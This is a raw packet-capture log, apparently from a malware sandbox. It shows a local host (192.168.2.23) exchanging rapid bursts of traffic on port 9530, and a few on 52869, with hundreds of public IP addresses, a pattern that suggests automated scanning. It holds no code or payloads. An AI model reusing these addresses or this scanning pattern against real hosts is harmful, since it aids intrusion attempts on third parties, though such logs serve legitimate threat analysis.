May 16, 2024 16:38:53.047179937 CEST	9530	55095	103.42.124.59	192.168.2.23
May 16, 2024 16:38:53.047185898 CEST	9530	55095	123.125.38.240	192.168.2.23
May 16, 2024 16:38:53.047187090 CEST	55095	9530	192.168.2.23	133.158.127.25
May 16, 2024 16:38:53.047192097 CEST	9530	55095	217.58.212.49	192.168.2.23
May 16, 2024 16:38:53.047195911 CEST	9530	55095	67.135.81.131	192.168.2.23
May 16, 2024 16:38:53.047198057 CEST	9530	55095	20.120.9.110	192.168.2.23
May 16, 2024 16:38:53.047204018 CEST	9530	55095	93.229.52.209	192.168.2.23
May 16, 2024 16:38:53.047204971 CEST	9530	55095	158.255.130.185	192.168.2.23
May 16, 2024 16:38:53.047209978 CEST	9530	55095	23.89.138.244	192.168.2.23
May 16, 2024 16:38:53.047214985 CEST	9530	55095	135.181.176.150	192.168.2.23
May 16, 2024 16:38:53.047220945 CEST	9530	55095	194.75.183.159	192.168.2.23
May 16, 2024 16:38:53.047224045 CEST	55095	9530	192.168.2.23	103.42.124.59
May 16, 2024 16:38:53.047224045 CEST	55095	9530	192.168.2.23	123.125.38.240
May 16, 2024 16:38:53.047225952 CEST	9530	55095	96.108.116.231	192.168.2.23
May 16, 2024 16:38:53.047230959 CEST	9530	55095	65.29.249.180	192.168.2.23
May 16, 2024 16:38:53.047231913 CEST	9530	55095	52.150.182.237	192.168.2.23
May 16, 2024 16:38:53.047235012 CEST	9530	55095	12.182.65.177	192.168.2.23
May 16, 2024 16:38:53.047238111 CEST	55095	9530	192.168.2.23	217.58.212.49
May 16, 2024 16:38:53.047238111 CEST	55095	9530	192.168.2.23	67.135.81.131
May 16, 2024 16:38:53.047240973 CEST	9530	55095	187.122.194.164	192.168.2.23
May 16, 2024 16:38:53.047240973 CEST	55095	9530	192.168.2.23	93.229.52.209
May 16, 2024 16:38:53.047245979 CEST	9530	55095	144.68.46.229	192.168.2.23
May 16, 2024 16:38:53.047250032 CEST	55095	9530	192.168.2.23	20.120.9.110
May 16, 2024 16:38:53.047250986 CEST	55095	9530	192.168.2.23	158.255.130.185
May 16, 2024 16:38:53.047251940 CEST	9530	55095	125.21.106.162	192.168.2.23
May 16, 2024 16:38:53.047255039 CEST	55095	9530	192.168.2.23	135.181.176.150
May 16, 2024 16:38:53.047255993 CEST	55095	9530	192.168.2.23	23.89.138.244
May 16, 2024 16:38:53.047256947 CEST	9530	55095	194.67.247.17	192.168.2.23
May 16, 2024 16:38:53.047265053 CEST	55095	9530	192.168.2.23	131.254.254.157
May 16, 2024 16:38:53.047265053 CEST	55095	9530	192.168.2.23	122.157.112.245
May 16, 2024 16:38:53.047277927 CEST	55095	9530	192.168.2.23	194.75.183.159
May 16, 2024 16:38:53.047277927 CEST	55095	9530	192.168.2.23	65.29.249.180
May 16, 2024 16:38:53.047280073 CEST	55095	9530	192.168.2.23	52.150.182.237
May 16, 2024 16:38:53.047297955 CEST	55095	9530	192.168.2.23	116.194.122.237
May 16, 2024 16:38:53.047298908 CEST	55095	9530	192.168.2.23	125.21.106.162
May 16, 2024 16:38:53.047297955 CEST	55095	9530	192.168.2.23	12.182.65.177
May 16, 2024 16:38:53.047297955 CEST	55095	9530	192.168.2.23	144.68.46.229
May 16, 2024 16:38:53.047301054 CEST	55095	9530	192.168.2.23	96.108.116.231
May 16, 2024 16:38:53.047298908 CEST	55095	9530	192.168.2.23	194.67.247.17
May 16, 2024 16:38:53.047306061 CEST	55095	9530	192.168.2.23	187.122.194.164
May 16, 2024 16:38:53.047640085 CEST	9530	55095	27.175.170.184	192.168.2.23
May 16, 2024 16:38:53.047652960 CEST	9530	55095	14.159.7.114	192.168.2.23
May 16, 2024 16:38:53.047666073 CEST	9530	55095	209.246.202.49	192.168.2.23
May 16, 2024 16:38:53.047676086 CEST	9530	55095	37.234.255.235	192.168.2.23
May 16, 2024 16:38:53.047687054 CEST	9530	55095	24.218.202.86	192.168.2.23
May 16, 2024 16:38:53.047693968 CEST	55095	9530	192.168.2.23	14.159.7.114
May 16, 2024 16:38:53.047693968 CEST	55095	9530	192.168.2.23	209.246.202.49
May 16, 2024 16:38:53.047693968 CEST	55095	9530	192.168.2.23	27.175.170.184
May 16, 2024 16:38:53.047702074 CEST	9530	55095	152.31.57.72	192.168.2.23
May 16, 2024 16:38:53.047708035 CEST	9530	55095	148.224.38.40	192.168.2.23
May 16, 2024 16:38:53.047738075 CEST	55095	9530	192.168.2.23	37.234.255.235
May 16, 2024 16:38:53.047739029 CEST	55095	9530	192.168.2.23	24.218.202.86
May 16, 2024 16:38:53.047750950 CEST	55095	9530	192.168.2.23	152.31.57.72
May 16, 2024 16:38:53.047753096 CEST	55095	9530	192.168.2.23	148.224.38.40
May 16, 2024 16:38:53.047985077 CEST	9530	55095	218.82.216.15	192.168.2.23
May 16, 2024 16:38:53.047996044 CEST	9530	55095	131.196.48.34	192.168.2.23
May 16, 2024 16:38:53.048007011 CEST	9530	55095	147.96.50.254	192.168.2.23
May 16, 2024 16:38:53.048011065 CEST	9530	55095	5.166.158.4	192.168.2.23
May 16, 2024 16:38:53.048016071 CEST	9530	55095	132.162.5.252	192.168.2.23
May 16, 2024 16:38:53.048026085 CEST	9530	55095	202.27.7.62	192.168.2.23
May 16, 2024 16:38:53.048036098 CEST	9530	55095	84.98.138.228	192.168.2.23
May 16, 2024 16:38:53.048047066 CEST	9530	55095	34.24.218.77	192.168.2.23
May 16, 2024 16:38:53.048051119 CEST	9530	55095	96.171.144.45	192.168.2.23
May 16, 2024 16:38:53.048053980 CEST	55095	9530	192.168.2.23	218.82.216.15
May 16, 2024 16:38:53.048055887 CEST	55095	9530	192.168.2.23	131.196.48.34
May 16, 2024 16:38:53.048055887 CEST	55095	9530	192.168.2.23	147.96.50.254
May 16, 2024 16:38:53.048058033 CEST	55095	9530	192.168.2.23	5.166.158.4
May 16, 2024 16:38:53.048060894 CEST	9530	55095	31.110.133.136	192.168.2.23
May 16, 2024 16:38:53.048075914 CEST	9530	55095	57.3.241.93	192.168.2.23
May 16, 2024 16:38:53.048078060 CEST	55095	9530	192.168.2.23	132.162.5.252
May 16, 2024 16:38:53.048078060 CEST	59696	52869	192.168.2.23	2.118.203.229
May 16, 2024 16:38:53.048079014 CEST	55095	9530	192.168.2.23	34.24.218.77
May 16, 2024 16:38:53.048079014 CEST	55095	9530	192.168.2.23	84.98.138.228
May 16, 2024 16:38:53.048078060 CEST	55095	9530	192.168.2.23	202.27.7.62
May 16, 2024 16:38:53.048083067 CEST	9530	55095	86.77.139.236	192.168.2.23
May 16, 2024 16:38:53.048089027 CEST	9530	55095	100.55.67.232	192.168.2.23
May 16, 2024 16:38:53.048091888 CEST	9530	55095	220.216.227.177	192.168.2.23
May 16, 2024 16:38:53.048096895 CEST	9530	55095	129.1.180.155	192.168.2.23
May 16, 2024 16:38:53.048105955 CEST	55095	9530	192.168.2.23	96.171.144.45
May 16, 2024 16:38:53.048105955 CEST	9530	55095	130.14.95.236	192.168.2.23
May 16, 2024 16:38:53.048105955 CEST	55095	9530	192.168.2.23	31.110.133.136
May 16, 2024 16:38:53.048110008 CEST	55095	9530	192.168.2.23	57.3.241.93
May 16, 2024 16:38:53.048114061 CEST	9530	55095	131.175.8.219	192.168.2.23
May 16, 2024 16:38:53.048116922 CEST	55095	9530	192.168.2.23	86.77.139.236
May 16, 2024 16:38:53.048119068 CEST	55095	9530	192.168.2.23	100.55.67.232
May 16, 2024 16:38:53.048120022 CEST	9530	55095	41.221.9.33	192.168.2.23
May 16, 2024 16:38:53.048125029 CEST	9530	55095	68.46.70.203	192.168.2.23
May 16, 2024 16:38:53.048129082 CEST	9530	55095	97.7.235.7	192.168.2.23
May 16, 2024 16:38:53.048135996 CEST	55095	9530	192.168.2.23	220.216.227.177
May 16, 2024 16:38:53.048142910 CEST	55095	9530	192.168.2.23	129.1.180.155
May 16, 2024 16:38:53.048151016 CEST	55095	9530	192.168.2.23	130.14.95.236
May 16, 2024 16:38:53.048161030 CEST	55095	9530	192.168.2.23	131.175.8.219
May 16, 2024 16:38:53.048161030 CEST	55095	9530	192.168.2.23	68.46.70.203
May 16, 2024 16:38:53.048186064 CEST	55095	9530	192.168.2.23	41.221.9.33
May 16, 2024 16:38:53.048186064 CEST	55095	9530	192.168.2.23	97.7.235.7
May 16, 2024 16:38:53.049086094 CEST	9530	55095	152.208.69.158	192.168.2.23
May 16, 2024 16:38:53.049098969 CEST	9530	55095	176.99.28.150	192.168.2.23
May 16, 2024 16:38:53.049112082 CEST	9530	55095	73.122.12.44	192.168.2.23
May 16, 2024 16:38:53.049122095 CEST	9530	55095	156.6.66.99	192.168.2.23
May 16, 2024 16:38:53.049120903 CEST	55095	9530	192.168.2.23	152.208.69.158
May 16, 2024 16:38:53.049135923 CEST	9530	55095	114.35.224.216	192.168.2.23
May 16, 2024 16:38:53.049139023 CEST	9530	55095	179.90.83.206	192.168.2.23
May 16, 2024 16:38:53.049139023 CEST	55095	9530	192.168.2.23	176.99.28.150
May 16, 2024 16:38:53.049140930 CEST	9530	55095	77.159.70.8	192.168.2.23
May 16, 2024 16:38:53.049145937 CEST	55095	9530	192.168.2.23	73.122.12.44
May 16, 2024 16:38:53.049145937 CEST	9530	55095	54.153.82.124	192.168.2.23
May 16, 2024 16:38:53.049150944 CEST	9530	55095	138.150.15.53	192.168.2.23
May 16, 2024 16:38:53.049161911 CEST	55095	9530	192.168.2.23	156.6.66.99
May 16, 2024 16:38:53.049164057 CEST	9530	55095	128.205.64.68	192.168.2.23
May 16, 2024 16:38:53.049176931 CEST	9530	55095	104.199.115.251	192.168.2.23
May 16, 2024 16:38:53.049186945 CEST	55095	9530	192.168.2.23	114.35.224.216
May 16, 2024 16:38:53.049187899 CEST	9530	55095	147.28.230.125	192.168.2.23
May 16, 2024 16:38:53.049187899 CEST	55095	9530	192.168.2.23	179.90.83.206
May 16, 2024 16:38:53.049187899 CEST	55095	9530	192.168.2.23	77.159.70.8
May 16, 2024 16:38:53.049204111 CEST	9530	55095	90.60.73.127	192.168.2.23
May 16, 2024 16:38:53.049213886 CEST	9530	55095	185.186.234.31	192.168.2.23
May 16, 2024 16:38:53.049216032 CEST	55095	9530	192.168.2.23	54.153.82.124
May 16, 2024 16:38:53.049217939 CEST	55095	9530	192.168.2.23	138.150.15.53
May 16, 2024 16:38:53.049217939 CEST	55095	9530	192.168.2.23	104.199.115.251
May 16, 2024 16:38:53.049223900 CEST	55095	9530	192.168.2.23	128.205.64.68
May 16, 2024 16:38:53.049223900 CEST	55095	9530	192.168.2.23	147.28.230.125
May 16, 2024 16:38:53.049225092 CEST	9530	55095	130.29.214.17	192.168.2.23
May 16, 2024 16:38:53.049237013 CEST	9530	55095	177.35.20.192	192.168.2.23
May 16, 2024 16:38:53.049252987 CEST	9530	55095	76.173.99.79	192.168.2.23
May 16, 2024 16:38:53.049257040 CEST	55095	9530	192.168.2.23	90.60.73.127
May 16, 2024 16:38:53.049257040 CEST	55095	9530	192.168.2.23	185.186.234.31
May 16, 2024 16:38:53.049263000 CEST	9530	55095	125.13.154.204	192.168.2.23
May 16, 2024 16:38:53.049264908 CEST	55095	9530	192.168.2.23	177.35.20.192
May 16, 2024 16:38:53.049280882 CEST	9530	55095	79.60.165.12	192.168.2.23
May 16, 2024 16:38:53.049285889 CEST	55095	9530	192.168.2.23	130.29.214.17
May 16, 2024 16:38:53.049285889 CEST	55095	9530	192.168.2.23	76.173.99.79
May 16, 2024 16:38:53.049290895 CEST	9530	55095	220.248.146.106	192.168.2.23
May 16, 2024 16:38:53.049293041 CEST	55095	9530	192.168.2.23	125.13.154.204
May 16, 2024 16:38:53.049299955 CEST	55095	9530	192.168.2.23	79.60.165.12
May 16, 2024 16:38:53.049312115 CEST	55095	9530	192.168.2.23	220.248.146.106
May 16, 2024 16:38:53.049572945 CEST	53770	52869	192.168.2.23	44.28.226.10
May 16, 2024 16:38:53.050201893 CEST	9530	55095	40.214.122.148	192.168.2.23
May 16, 2024 16:38:53.050215006 CEST	9530	55095	152.170.240.110	192.168.2.23
May 16, 2024 16:38:53.050225973 CEST	9530	55095	125.115.169.115	192.168.2.23
May 16, 2024 16:38:53.050230026 CEST	9530	55095	219.194.1.93	192.168.2.23
May 16, 2024 16:38:53.050230980 CEST	55095	9530	192.168.2.23	40.214.122.148
May 16, 2024 16:38:53.050244093 CEST	55095	9530	192.168.2.23	152.170.240.110
May 16, 2024 16:38:53.050245047 CEST	9530	55095	41.158.244.52	192.168.2.23
May 16, 2024 16:38:53.050252914 CEST	9530	55095	104.69.13.46	192.168.2.23
May 16, 2024 16:38:53.050261021 CEST	9530	55095	176.211.108.183	192.168.2.23
May 16, 2024 16:38:53.050266981 CEST	9530	55095	174.165.134.255	192.168.2.23
May 16, 2024 16:38:53.050271034 CEST	55095	9530	192.168.2.23	125.115.169.115
May 16, 2024 16:38:53.050271988 CEST	9530	55095	38.206.253.3	192.168.2.23
May 16, 2024 16:38:53.050277948 CEST	9530	55095	60.225.14.242	192.168.2.23
May 16, 2024 16:38:53.050282001 CEST	9530	55095	139.131.110.102	192.168.2.23
May 16, 2024 16:38:53.050283909 CEST	9530	55095	109.225.215.18	192.168.2.23
May 16, 2024 16:38:53.050283909 CEST	55095	9530	192.168.2.23	104.69.13.46
May 16, 2024 16:38:53.050283909 CEST	55095	9530	192.168.2.23	41.158.244.52
May 16, 2024 16:38:53.050288916 CEST	9530	55095	131.214.56.184	192.168.2.23
May 16, 2024 16:38:53.050292015 CEST	55095	9530	192.168.2.23	176.211.108.183
May 16, 2024 16:38:53.050292969 CEST	9530	55095	59.97.19.207	192.168.2.23
May 16, 2024 16:38:53.050297976 CEST	9530	55095	77.151.7.130	192.168.2.23
May 16, 2024 16:38:53.050302029 CEST	55095	9530	192.168.2.23	174.165.134.255
May 16, 2024 16:38:53.050302982 CEST	9530	55095	132.136.153.211	192.168.2.23
May 16, 2024 16:38:53.050308943 CEST	9530	55095	161.112.102.232	192.168.2.23
May 16, 2024 16:38:53.050309896 CEST	9530	55095	43.211.137.184	192.168.2.23
May 16, 2024 16:38:53.050311089 CEST	9530	55095	145.5.18.106	192.168.2.23
May 16, 2024 16:38:53.050312042 CEST	9530	55095	8.150.10.86	192.168.2.23
May 16, 2024 16:38:53.050313950 CEST	9530	55095	188.131.112.185	192.168.2.23
May 16, 2024 16:38:53.050316095 CEST	55095	9530	192.168.2.23	131.214.56.184
May 16, 2024 16:38:53.050328016 CEST	55095	9530	192.168.2.23	219.194.1.93
May 16, 2024 16:38:53.050328970 CEST	55095	9530	192.168.2.23	38.206.253.3
May 16, 2024 16:38:53.050328970 CEST	55095	9530	192.168.2.23	139.131.110.102
May 16, 2024 16:38:53.050331116 CEST	55095	9530	192.168.2.23	60.225.14.242
May 16, 2024 16:38:53.050335884 CEST	55095	9530	192.168.2.23	109.225.215.18
May 16, 2024 16:38:53.050343037 CEST	55095	9530	192.168.2.23	43.211.137.184
May 16, 2024 16:38:53.050348043 CEST	55095	9530	192.168.2.23	59.97.19.207
May 16, 2024 16:38:53.050348043 CEST	55095	9530	192.168.2.23	8.150.10.86
May 16, 2024 16:38:53.050349951 CEST	9530	55095	109.208.105.178	192.168.2.23
May 16, 2024 16:38:53.050350904 CEST	9530	55095	79.166.55.246	192.168.2.23
May 16, 2024 16:38:53.050350904 CEST	55095	9530	192.168.2.23	188.131.112.185
May 16, 2024 16:38:53.050352097 CEST	55095	9530	192.168.2.23	77.151.7.130
May 16, 2024 16:38:53.050359011 CEST	55095	9530	192.168.2.23	132.136.153.211
May 16, 2024 16:38:53.050359964 CEST	9530	55095	92.90.164.227	192.168.2.23
May 16, 2024 16:38:53.050367117 CEST	9530	55095	24.109.208.197	192.168.2.23
May 16, 2024 16:38:53.050374031 CEST	9530	55095	90.199.43.185	192.168.2.23
May 16, 2024 16:38:53.050370932 CEST	55095	9530	192.168.2.23	161.112.102.232
May 16, 2024 16:38:53.050375938 CEST	9530	55095	17.28.158.236	192.168.2.23
May 16, 2024 16:38:53.050380945 CEST	9530	55095	223.112.162.35	192.168.2.23
May 16, 2024 16:38:53.050381899 CEST	55095	9530	192.168.2.23	145.5.18.106
May 16, 2024 16:38:53.050385952 CEST	9530	55095	123.249.71.38	192.168.2.23
May 16, 2024 16:38:53.050388098 CEST	9530	55095	137.82.53.222	192.168.2.23
May 16, 2024 16:38:53.050394058 CEST	9530	55095	155.90.126.129	192.168.2.23
May 16, 2024 16:38:53.050399065 CEST	9530	55095	35.114.79.245	192.168.2.23
May 16, 2024 16:38:53.050404072 CEST	9530	55095	195.124.101.58	192.168.2.23
May 16, 2024 16:38:53.050405979 CEST	55095	9530	192.168.2.23	79.166.55.246
May 16, 2024 16:38:53.050405979 CEST	55095	9530	192.168.2.23	92.90.164.227
May 16, 2024 16:38:53.050409079 CEST	9530	55095	61.11.166.59	192.168.2.23
May 16, 2024 16:38:53.050411940 CEST	55095	9530	192.168.2.23	109.208.105.178
May 16, 2024 16:38:53.050414085 CEST	55095	9530	192.168.2.23	137.82.53.222
May 16, 2024 16:38:53.050415039 CEST	9530	55095	1.35.22.26	192.168.2.23
May 16, 2024 16:38:53.050415993 CEST	55095	9530	192.168.2.23	90.199.43.185
May 16, 2024 16:38:53.050415993 CEST	55095	9530	192.168.2.23	24.109.208.197
May 16, 2024 16:38:53.050420046 CEST	55095	9530	192.168.2.23	17.28.158.236
May 16, 2024 16:38:53.050420046 CEST	55095	9530	192.168.2.23	155.90.126.129
May 16, 2024 16:38:53.050420046 CEST	55095	9530	192.168.2.23	35.114.79.245
May 16, 2024 16:38:53.050422907 CEST	9530	55095	134.189.201.150	192.168.2.23
May 16, 2024 16:38:53.050429106 CEST	55095	9530	192.168.2.23	223.112.162.35
May 16, 2024 16:38:53.050431013 CEST	9530	55095	181.219.219.179	192.168.2.23
May 16, 2024 16:38:53.050436020 CEST	9530	55095	212.147.47.3	192.168.2.23
May 16, 2024 16:38:53.050440073 CEST	9530	55095	144.216.227.52	192.168.2.23
May 16, 2024 16:38:53.050441980 CEST	9530	55095	110.13.82.223	192.168.2.23
May 16, 2024 16:38:53.050442934 CEST	55095	9530	192.168.2.23	195.124.101.58
May 16, 2024 16:38:53.050446033 CEST	9530	55095	78.86.42.211	192.168.2.23
May 16, 2024 16:38:53.050451994 CEST	55095	9530	192.168.2.23	123.249.71.38
May 16, 2024 16:38:53.050451994 CEST	55095	9530	192.168.2.23	1.35.22.26
May 16, 2024 16:38:53.050453901 CEST	55095	9530	192.168.2.23	61.11.166.59
May 16, 2024 16:38:53.050453901 CEST	55095	9530	192.168.2.23	134.189.201.150
May 16, 2024 16:38:53.050467968 CEST	55095	9530	192.168.2.23	181.219.219.179
May 16, 2024 16:38:53.050479889 CEST	55095	9530	192.168.2.23	144.216.227.52
May 16, 2024 16:38:53.050479889 CEST	55095	9530	192.168.2.23	212.147.47.3
May 16, 2024 16:38:53.050481081 CEST	55095	9530	192.168.2.23	110.13.82.223
May 16, 2024 16:38:53.050482988 CEST	55095	9530	192.168.2.23	78.86.42.211
May 16, 2024 16:38:53.051137924 CEST	9530	55095	129.196.45.134	192.168.2.23
May 16, 2024 16:38:53.051150084 CEST	9530	55095	184.255.153.243	192.168.2.23
May 16, 2024 16:38:53.051160097 CEST	9530	55095	190.18.68.230	192.168.2.23
May 16, 2024 16:38:53.051173925 CEST	9530	55095	119.202.22.205	192.168.2.23
May 16, 2024 16:38:53.051178932 CEST	9530	55095	158.245.238.135	192.168.2.23
May 16, 2024 16:38:53.051182985 CEST	55095	9530	192.168.2.23	184.255.153.243
May 16, 2024 16:38:53.051184893 CEST	9530	55095	45.101.128.60	192.168.2.23
May 16, 2024 16:38:53.051189899 CEST	9530	55095	49.27.172.181	192.168.2.23
May 16, 2024 16:38:53.051196098 CEST	55095	9530	192.168.2.23	190.18.68.230
May 16, 2024 16:38:53.051196098 CEST	9530	55095	51.16.238.231	192.168.2.23
May 16, 2024 16:38:53.051198006 CEST	9530	55095	156.21.124.169	192.168.2.23
May 16, 2024 16:38:53.051199913 CEST	9530	55095	128.54.224.95	192.168.2.23
May 16, 2024 16:38:53.051204920 CEST	9530	55095	140.170.49.146	192.168.2.23
May 16, 2024 16:38:53.051208973 CEST	55095	9530	192.168.2.23	158.245.238.135
May 16, 2024 16:38:53.051220894 CEST	9530	55095	50.154.103.203	192.168.2.23
May 16, 2024 16:38:53.051227093 CEST	9530	55095	190.69.62.222	192.168.2.23
May 16, 2024 16:38:53.051232100 CEST	9530	55095	151.224.163.95	192.168.2.23
May 16, 2024 16:38:53.051234007 CEST	55095	9530	192.168.2.23	128.54.224.95
May 16, 2024 16:38:53.051234961 CEST	55095	9530	192.168.2.23	156.21.124.169
May 16, 2024 16:38:53.051238060 CEST	9530	55095	200.220.228.145	192.168.2.23
May 16, 2024 16:38:53.051244020 CEST	9530	55095	109.5.92.14	192.168.2.23
May 16, 2024 16:38:53.051244974 CEST	9530	55095	54.12.181.17	192.168.2.23
May 16, 2024 16:38:53.051246881 CEST	9530	55095	14.78.115.69	192.168.2.23
May 16, 2024 16:38:53.051251888 CEST	9530	55095	202.230.226.139	192.168.2.23
May 16, 2024 16:38:53.051254034 CEST	55095	9530	192.168.2.23	129.196.45.134
May 16, 2024 16:38:53.051254988 CEST	55095	9530	192.168.2.23	140.170.49.146
May 16, 2024 16:38:53.051254034 CEST	55095	9530	192.168.2.23	119.202.22.205
May 16, 2024 16:38:53.051254988 CEST	55095	9530	192.168.2.23	50.154.103.203
May 16, 2024 16:38:53.051256895 CEST	9530	55095	118.102.19.52	192.168.2.23
May 16, 2024 16:38:53.051259995 CEST	55095	9530	192.168.2.23	49.27.172.181
May 16, 2024 16:38:53.051260948 CEST	55095	9530	192.168.2.23	190.69.62.222
May 16, 2024 16:38:53.051275015 CEST	55095	9530	192.168.2.23	151.224.163.95
May 16, 2024 16:38:53.051279068 CEST	55095	9530	192.168.2.23	200.220.228.145
May 16, 2024 16:38:53.051285028 CEST	55095	9530	192.168.2.23	14.78.115.69
May 16, 2024 16:38:53.051289082 CEST	55095	9530	192.168.2.23	45.101.128.60
May 16, 2024 16:38:53.051290035 CEST	55095	9530	192.168.2.23	118.102.19.52
May 16, 2024 16:38:53.051289082 CEST	55095	9530	192.168.2.23	51.16.238.231
May 16, 2024 16:38:53.051295042 CEST	55095	9530	192.168.2.23	202.230.226.139
May 16, 2024 16:38:53.051300049 CEST	55095	9530	192.168.2.23	109.5.92.14
May 16, 2024 16:38:53.051326990 CEST	55095	9530	192.168.2.23	54.12.181.17
May 16, 2024 16:38:53.051507950 CEST	60204	52869	192.168.2.23	203.104.93.44
May 16, 2024 16:38:53.052078009 CEST	9530	55095	69.78.167.33	192.168.2.23
May 16, 2024 16:38:53.052090883 CEST	9530	55095	68.199.62.175	192.168.2.23
May 16, 2024 16:38:53.052114964 CEST	9530	55095	92.130.200.47	192.168.2.23
May 16, 2024 16:38:53.052117109 CEST	9530	55095	1.220.122.248	192.168.2.23
May 16, 2024 16:38:53.052122116 CEST	9530	55095	189.151.160.82	192.168.2.23
May 16, 2024 16:38:53.052128077 CEST	9530	55095	133.1.25.26	192.168.2.23
May 16, 2024 16:38:53.052129984 CEST	55095	9530	192.168.2.23	69.78.167.33
May 16, 2024 16:38:53.052134037 CEST	9530	55095	184.229.6.62	192.168.2.23
May 16, 2024 16:38:53.052130938 CEST	55095	9530	192.168.2.23	68.199.62.175
May 16, 2024 16:38:53.052138090 CEST	9530	55095	189.67.108.39	192.168.2.23
May 16, 2024 16:38:53.052143097 CEST	9530	55095	111.205.139.108	192.168.2.23
May 16, 2024 16:38:53.052145004 CEST	55095	9530	192.168.2.23	92.130.200.47
May 16, 2024 16:38:53.052148104 CEST	9530	55095	163.115.164.148	192.168.2.23
May 16, 2024 16:38:53.052154064 CEST	9530	55095	72.61.74.1	192.168.2.23
May 16, 2024 16:38:53.052159071 CEST	9530	55095	206.247.200.121	192.168.2.23
May 16, 2024 16:38:53.052160025 CEST	9530	55095	154.195.171.103	192.168.2.23
May 16, 2024 16:38:53.052164078 CEST	55095	9530	192.168.2.23	184.229.6.62
May 16, 2024 16:38:53.052164078 CEST	55095	9530	192.168.2.23	189.151.160.82
May 16, 2024 16:38:53.052165031 CEST	9530	55095	90.176.24.8	192.168.2.23
May 16, 2024 16:38:53.052170992 CEST	9530	55095	194.25.75.205	192.168.2.23
May 16, 2024 16:38:53.052172899 CEST	55095	9530	192.168.2.23	189.67.108.39
May 16, 2024 16:38:53.052176952 CEST	9530	55095	216.234.109.67	192.168.2.23
May 16, 2024 16:38:53.052177906 CEST	9530	55095	101.48.11.134	192.168.2.23
May 16, 2024 16:38:53.052180052 CEST	55095	9530	192.168.2.23	163.115.164.148
May 16, 2024 16:38:53.052184105 CEST	9530	55095	68.73.9.103	192.168.2.23
May 16, 2024 16:38:53.052187920 CEST	55095	9530	192.168.2.23	133.1.25.26
May 16, 2024 16:38:53.052187920 CEST	9530	55095	147.157.115.144	192.168.2.23
May 16, 2024 16:38:53.052190065 CEST	9530	55095	132.176.109.106	192.168.2.23
May 16, 2024 16:38:53.052191019 CEST	9530	55095	83.67.246.189	192.168.2.23
May 16, 2024 16:38:53.052191019 CEST	55095	9530	192.168.2.23	72.61.74.1
May 16, 2024 16:38:53.052208900 CEST	55095	9530	192.168.2.23	194.25.75.205
May 16, 2024 16:38:53.052210093 CEST	55095	9530	192.168.2.23	206.247.200.121
May 16, 2024 16:38:53.052210093 CEST	55095	9530	192.168.2.23	154.195.171.103
May 16, 2024 16:38:53.052216053 CEST	55095	9530	192.168.2.23	216.234.109.67
May 16, 2024 16:38:53.052236080 CEST	55095	9530	192.168.2.23	1.220.122.248
May 16, 2024 16:38:53.052236080 CEST	55095	9530	192.168.2.23	111.205.139.108
May 16, 2024 16:38:53.052236080 CEST	55095	9530	192.168.2.23	68.73.9.103
May 16, 2024 16:38:53.052249908 CEST	55095	9530	192.168.2.23	90.176.24.8
May 16, 2024 16:38:53.052251101 CEST	55095	9530	192.168.2.23	132.176.109.106
May 16, 2024 16:38:53.052267075 CEST	55095	9530	192.168.2.23	147.157.115.144
May 16, 2024 16:38:53.052272081 CEST	55095	9530	192.168.2.23	101.48.11.134
May 16, 2024 16:38:53.052272081 CEST	55095	9530	192.168.2.23	83.67.246.189
May 16, 2024 16:38:53.052453041 CEST	9530	55095	203.6.145.165	192.168.2.23
May 16, 2024 16:38:53.052464962 CEST	9530	55095	106.70.24.187	192.168.2.23
May 16, 2024 16:38:53.052475929 CEST	9530	55095	78.113.49.244	192.168.2.23
May 16, 2024 16:38:53.052490950 CEST	9530	55095	164.117.79.201	192.168.2.23
May 16, 2024 16:38:53.052496910 CEST	55095	9530	192.168.2.23	203.6.145.165
May 16, 2024 16:38:53.052503109 CEST	9530	55095	168.138.118.32	192.168.2.23
May 16, 2024 16:38:53.052506924 CEST	55095	9530	192.168.2.23	78.113.49.244
May 16, 2024 16:38:53.052508116 CEST	9530	55095	133.172.205.2	192.168.2.23
May 16, 2024 16:38:53.052517891 CEST	9530	55095	85.36.245.222	192.168.2.23
May 16, 2024 16:38:53.052521944 CEST	55095	9530	192.168.2.23	106.70.24.187
May 16, 2024 16:38:53.052527905 CEST	9530	55095	77.236.170.67	192.168.2.23
May 16, 2024 16:38:53.052534103 CEST	55095	9530	192.168.2.23	164.117.79.201
May 16, 2024 16:38:53.052534103 CEST	55095	9530	192.168.2.23	133.172.205.2
May 16, 2024 16:38:53.052540064 CEST	9530	55095	133.28.26.142	192.168.2.23
May 16, 2024 16:38:53.052551985 CEST	55095	9530	192.168.2.23	168.138.118.32
May 16, 2024 16:38:53.052551985 CEST	55095	9530	192.168.2.23	85.36.245.222
May 16, 2024 16:38:53.052557945 CEST	55095	9530	192.168.2.23	77.236.170.67
May 16, 2024 16:38:53.052561998 CEST	9530	55095	41.164.198.200	192.168.2.23
May 16, 2024 16:38:53.052570105 CEST	55095	9530	192.168.2.23	133.28.26.142
May 16, 2024 16:38:53.052575111 CEST	9530	55095	72.124.34.183	192.168.2.23
May 16, 2024 16:38:53.052581072 CEST	9530	55095	105.103.58.39	192.168.2.23
May 16, 2024 16:38:53.052587032 CEST	9530	55095	185.139.222.84	192.168.2.23
May 16, 2024 16:38:53.052597046 CEST	9530	55095	107.175.136.89	192.168.2.23
May 16, 2024 16:38:53.052604914 CEST	55095	9530	192.168.2.23	41.164.198.200
May 16, 2024 16:38:53.052611113 CEST	55095	9530	192.168.2.23	72.124.34.183
May 16, 2024 16:38:53.052613020 CEST	55095	9530	192.168.2.23	105.103.58.39
May 16, 2024 16:38:53.052615881 CEST	9530	55095	18.227.236.10	192.168.2.23
May 16, 2024 16:38:53.052628994 CEST	9530	55095	68.97.250.40	192.168.2.23
May 16, 2024 16:38:53.052632093 CEST	55095	9530	192.168.2.23	185.139.222.84
May 16, 2024 16:38:53.052632093 CEST	55095	9530	192.168.2.23	107.175.136.89
May 16, 2024 16:38:53.052639961 CEST	9530	55095	112.119.242.101	192.168.2.23
May 16, 2024 16:38:53.052645922 CEST	55095	9530	192.168.2.23	18.227.236.10
May 16, 2024 16:38:53.052650928 CEST	9530	55095	174.55.239.78	192.168.2.23
May 16, 2024 16:38:53.052681923 CEST	55095	9530	192.168.2.23	68.97.250.40
May 16, 2024 16:38:53.052681923 CEST	55095	9530	192.168.2.23	112.119.242.101
May 16, 2024 16:38:53.052727938 CEST	55095	9530	192.168.2.23	174.55.239.78
May 16, 2024 16:38:53.053147078 CEST	9530	55095	119.190.37.240	192.168.2.23
May 16, 2024 16:38:53.053160906 CEST	9530	55095	132.216.97.226	192.168.2.23
May 16, 2024 16:38:53.053167105 CEST	9530	55095	25.255.243.182	192.168.2.23
